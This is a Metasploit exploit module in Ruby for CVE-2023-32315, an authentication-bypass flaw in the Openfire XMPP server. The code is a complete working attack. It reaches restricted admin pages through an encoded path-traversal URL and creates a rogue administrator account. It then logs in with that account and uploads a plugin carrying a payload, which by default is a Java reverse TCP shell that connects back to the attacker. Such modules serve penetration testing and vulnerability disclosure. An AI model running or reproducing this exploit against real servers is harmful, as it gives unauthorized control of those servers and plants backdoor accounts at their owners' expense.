<pre><code>##<br /># This module requires Metasploit: https://metasploit.com/download<br /># Current source: https://github.com/rapid7/metasploit-framework<br />##<br /><br />require 'rex/zip'<br /><br />class MetasploitModule < Msf::Exploit::Remote<br /> Rank = ExcellentRanking<br /><br /> include Msf::Exploit::Remote::HttpClient<br /> prepend Msf::Exploit::Remote::AutoCheck<br /><br /> def initialize(info = {})<br /> super(<br /> update_info(<br /> info,<br /> 'Name' => 'Openfire authentication bypass with RCE plugin',<br /> 'Description' => %q{<br /> Openfire is an XMPP server licensed under the Open Source Apache License.<br /> Openfire's administrative console, a web-based application, was found to be vulnerable to a path traversal attack<br /> via the setup environment. This permitted an unauthenticated user to use the unauthenticated Openfire Setup Environment<br /> in an already configured Openfire environment to access restricted pages in the Openfire Admin Console reserved for<br /> administrative users.<br /> This module will use the vulnerability to create a new admin user that will be used to upload a Openfire management plugin<br /> weaponised with java native payload that triggers an RCE.<br /> This vulnerability affects all versions of Openfire that have been released since April 2015, starting with version 3.10.0.<br /> The problem has been patched in Openfire release 4.7.5 and 4.6.8, and further improvements will be included in the<br /> first version on the 4.8 branch, which is version 4.8.0.<br /> },<br /> 'Author' => [<br /> 'h00die-gr3y <h00die.gr3y[at]gmail.com>' # Metasploit module<br /> ],<br /> 'References' => [<br /> ['CVE', '2023-32315'],<br /> ['URL', 'https://attackerkb.com/topics/7Tf5YGY3oT/cve-2023-32315'],<br /> ['URL', 'https://github.com/miko550/CVE-2023-32315'],<br /> ['URL', 'https://github.com/igniterealtime/Openfire/security/advisories/GHSA-gw42-f939-fhvm']<br /> ],<br /> 'License' => MSF_LICENSE,<br /> 'Platform' => [ 'java' ],<br /> 'Privileged' => false,<br /> 'Arch' => [ ARCH_JAVA ],<br /> 'Targets' => [<br /> [<br /> 'Java Universal',<br /> {<br /> 'Platform' => 'java',<br /> 'Arch' => ARCH_JAVA,<br /> 'DefaultOptions' => {<br /> 'PAYLOAD' => 'java/shell/reverse_tcp'<br /> }<br /> }<br /> ]<br /> ],<br /> 'DefaultTarget' => 0,<br /> 'DisclosureDate' => '2023-05-26',<br /> 'DefaultOptions' => {<br /> 'SSL' => false,<br /> 'RPORT' => 9090<br /> },<br /> 'Notes' => {<br /> 'Stability' => [CRASH_SAFE],<br /> 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],<br /> 'Reliability' => [REPEATABLE_SESSION]<br /> }<br /> )<br /> )<br /> register_options(<br /> [<br /> OptString.new('TARGETURI', [true, 'The base path to the web application', '/']),<br /> OptString.new('PLUGINNAME', [ false, 'Openfire plugin base name, (default: random)' ]),<br /> OptString.new('PLUGINAUTHOR', [ false, 'Openfire plugin author, (default: random)' ]),<br /> OptString.new('PLUGINDESC', [ false, 'Openfire plugin description, (default: random)' ]),<br /> OptString.new('ADMINNAME', [ false, 'Openfire admin user name, (default: random)' ]),<br /> ]<br /> )<br /> end<br /><br /> def get_version<br /> # get Openfire version number from the admin console login page<br /> openfire_version = nil<br /> res = send_request_cgi({<br /> 'method' => 'GET',<br /> 'uri' => normalize_uri(target_uri.path, 'login.jsp'),<br /> 'ctype' => 'application/x-www-form-urlencoded'<br /> })<br /> if res && res.code == 200<br /> version = res.body.match(/Openfire,\s*\D*:\s*\d\.\d{1,2}\.\d/)<br /> openfire_version = Rex::Version.new(version[0].split(':')[1].strip) unless version.nil?<br /> end<br /><br /> openfire_version<br /> end<br /><br /> def auth_bypass<br /> # bypass authentication using path traversal vulnerability and return true if cookie_jar is filled (JSESSION-ID and CSRF) else return false.<br /> send_request_cgi({<br /> 'method' => 'GET',<br /> 'uri' => normalize_uri(target_uri.path, 'setup', 'setup-s', '%u002e%u002e/%u002e%u002e/user-groups.jsp'),<br /> 'ctype' => 'application/x-www-form-urlencoded',<br /> 'keep_cookies' => true<br /> })<br /> return false if cookie_jar.cookies.empty?<br /><br /> cookie_jar.cookies.each do |cookie|<br /> print_status(cookie.to_s)<br /> end<br /> return true<br /> end<br /><br /> def add_admin_user<br /> # add an admin user using path traversal vulnerability using the cookies retrieved from authentication bypass.<br /> # returns admin login hash with random generated username and password<br /> @admin_login = {}<br /> username = datastore['ADMINNAME'] || Rex::Text.rand_text_alpha_lower(8..15)<br /> password = Rex::Text.rand_password(8..10)<br /> cookie_jar.cookies.each do |cookie|<br /> @csrf_token = cookie.to_s.split('=')[1].strip unless cookie.to_s.match(/csrf=/).nil?<br /> end<br /><br /> res = send_request_cgi({<br /> 'method' => 'GET',<br /> 'uri' => normalize_uri(target_uri.path, 'setup', 'setup-s', '%u002e%u002e/%u002e%u002e/user-create.jsp'),<br /> 'ctype' => 'application/x-www-form-urlencoded',<br /> 'keep_cookies' => true,<br /> 'vars_get' => {<br /> 'csrf' => @csrf_token.to_s,<br /> 'username' => username.to_s,<br /> 'password' => password.to_s,<br /> 'passwordConfirm' => password.to_s,<br /> 'isadmin' => 'on',<br /> 'create' => 'Create+User'<br /> }<br /> })<br /> # path traversal throws a java exception error 500 and/or returns a 200 OK code not matter if the user is added or not,<br /> # so we have to check during the login of the new admin user if we have been successful here<br /> if res && res.code == 200 || res.code == 500<br /> @admin_login['username'] = username<br /> @admin_login['password'] = password<br /> end<br /> return @admin_login<br /> end<br /><br /> def login_admin_user<br /> # login using admin hash with admin username and password<br /> # returns true if login successful else returns false<br /> cookie_jar.cookies.each do |cookie|<br /> @csrf_token = cookie.to_s.split('=')[1].strip unless cookie.to_s.match(/csrf=/).nil?<br /> end<br /><br /> res = send_request_cgi!({<br /> 'method' => 'POST',<br /> 'uri' => normalize_uri(target_uri.path, 'login.jsp'),<br /> 'ctype' => 'application/x-www-form-urlencoded',<br /> 'keep_cookies' => true,<br /> 'vars_post' => {<br /> 'url' => '%2Findex.jsp',<br /> 'login' => 'true',<br /> 'csrf' => @csrf_token.to_s,<br /> 'username' => @admin_login['username'].to_s,<br /> 'password' => @admin_login['password'].to_s<br /> }<br /> })<br /> if res && res.code == 200 && res.body.match(/login box/).nil?<br /> store_valid_credential(user: @admin_login['username'], private: @admin_login['password'], proof: cookie_jar.cookies)<br /> return true<br /> else<br /> return false<br /> end<br /> end<br /><br /> def prepare_plugin_jar<br /> # prepares the plugin foundation that will host the payload<br /> files = [<br /> [ 'logo_large.gif' ],<br /> [ 'logo_small.gif' ],<br /> [ 'readme.html' ],<br /> [ 'changelog.html' ],<br /> [ 'lib', 'plugin-metasploit.jar' ]<br /> ]<br /><br /> jar = Rex::Zip::Jar.new<br /> jar.add_files(files, File.join(Msf::Config.data_directory, 'exploits', 'openfire_plugin'))<br /><br /> @plugin_name = datastore['PLUGINNAME'] || Rex::Text.rand_text_alphanumeric(8..15)<br /> plugin_author = datastore['PLUGINAUTHOR'] || Rex::Text.rand_text_alphanumeric(8..15)<br /> plugin_desc = datastore['PLUGINDESC'] || Rex::Text.rand_text_alphanumeric(8..15)<br /><br /> plugin_xml = File.binread(File.join(Msf::Config.data_directory, 'exploits', 'openfire_plugin', 'plugin.xml'))<br /> plugin_xml.gsub!(/PLUGINNAME/, @plugin_name)<br /> plugin_xml.gsub!(/PLUGINDESCRIPTION/, plugin_desc)<br /> plugin_xml.gsub!(/PLUGINAUTHOR/, plugin_author)<br /><br /> jar.add_file('plugin.xml', plugin_xml)<br /> return jar<br /> end<br /><br /> def upload_and_execute_plugin(plugin_jar)<br /> # upload and execute Openfire plugin with encoded payload<br /> # returns true if upload is successful else returns false<br /><br /> # construct multipart form data<br /> form_data = Rex::MIME::Message.new<br /> form_data.add_part(plugin_jar.to_s, 'application/x-java-archive', 'binary', "form-data; name=\"uploadfile\"; filename=\"#{@plugin_name}.jar\"")<br /><br /> # extract the csrf token<br /> cookie_jar.cookies.each do |cookie|<br /> @csrf_token = cookie.to_s.split('=')[1].strip unless cookie.to_s.match(/csrf=/).nil?<br /> end<br /><br /> res = send_request_cgi({<br /> 'method' => 'POST',<br /> 'uri' => normalize_uri(target_uri.path, 'plugin-admin.jsp'),<br /> 'ctype' => "multipart/form-data; boundary=#{form_data.bound}",<br /> 'keep_cookies' => true,<br /> 'data' => form_data.to_s,<br /> 'vars_get' => {<br /> 'uploadplugin' => nil,<br /> 'csrf' => @csrf_token.to_s<br /> }<br /> })<br /> # with a successfull upload and execution of the plugin, no response is returned.<br /> return true unless res<br /> # safety check if, for whatever reason, we get a 302 response back<br /> if res.code == 302 && res.headers.to_s.match(/uploadsuccess=true/)<br /> return true<br /> else<br /> return false<br /> end<br /> end<br /><br /> def check<br /> openfire_version = get_version<br /> return CheckCode::Safe if openfire_version.nil?<br /> # check first for patched versions<br /> return CheckCode::Safe("Openfire version is #{openfire_version}") if openfire_version == Rex::Version.new('4.6.8')<br /> return CheckCode::Safe("Openfire version is #{openfire_version}") if openfire_version == Rex::Version.new('4.7.5')<br /> return CheckCode::Safe("Openfire version is #{openfire_version}") if openfire_version == Rex::Version.new('4.8.0')<br /><br /> if openfire_version < Rex::Version.new('4.8.0') && openfire_version >= Rex::Version.new('3.10.0')<br /> CheckCode::Appears("Openfire version is #{openfire_version}")<br /> else<br /> CheckCode::Safe("Openfire version is #{openfire_version}")<br /> end<br /> end<br /><br /> def exploit<br /> # gain access exploiting path traversal vulnerability<br /> print_status('Grabbing the cookies.')<br /> fail_with(Failure::NoAccess, 'Authentication bypass is not successful.') unless auth_bypass<br /><br /> # add a new admin user<br /> print_status('Adding a new admin user.')<br /> fail_with(Failure::NoAccess, 'Adding a new admin user is not successful.') if add_admin_user.empty?<br /><br /> # login with new admin account<br /> print_status("Logging in with admin user \"#{@admin_login['username']}\" and password \"#{@admin_login['password']}\".")<br /> fail_with(Failure::NoAccess, 'Login is not successful.') unless login_admin_user<br /><br /> # prepare Openfire plugin with payload<br /> plugin = prepare_plugin_jar<br /> plugin.add_file("lib/#{rand_text_alphanumeric(8)}.jar", payload.encoded_jar.pack)<br /> plugin.build_manifest<br /><br /> # upload and execute Openfire plugin with payload<br /> print_status("Upload and execute plugin \"#{@plugin_name}\" with payload \"#{datastore['PAYLOAD']}\".")<br /> fail_with(Failure::PayloadFailed, 'Upload and/or execution of the plugin is not successful.') unless upload_and_execute_plugin(plugin.pack)<br /><br /> # cover our tracks!!!<br /> # remove plugin and newly added admin user<br /> # Automatic removal of plugin and admin user might cause instability in the application,<br /> # so remove it manually in Openfire Management console after the exploit is completed.<br /> print_warning("Plugin \"#{@plugin_name}\" need manually clean-up via Openfire Admin console.")<br /> print_warning("Admin user \"#{@admin_login['username']}\" need manually clean-up via Openfire Admin console.")<br /> end<br />end<br /></code></pre>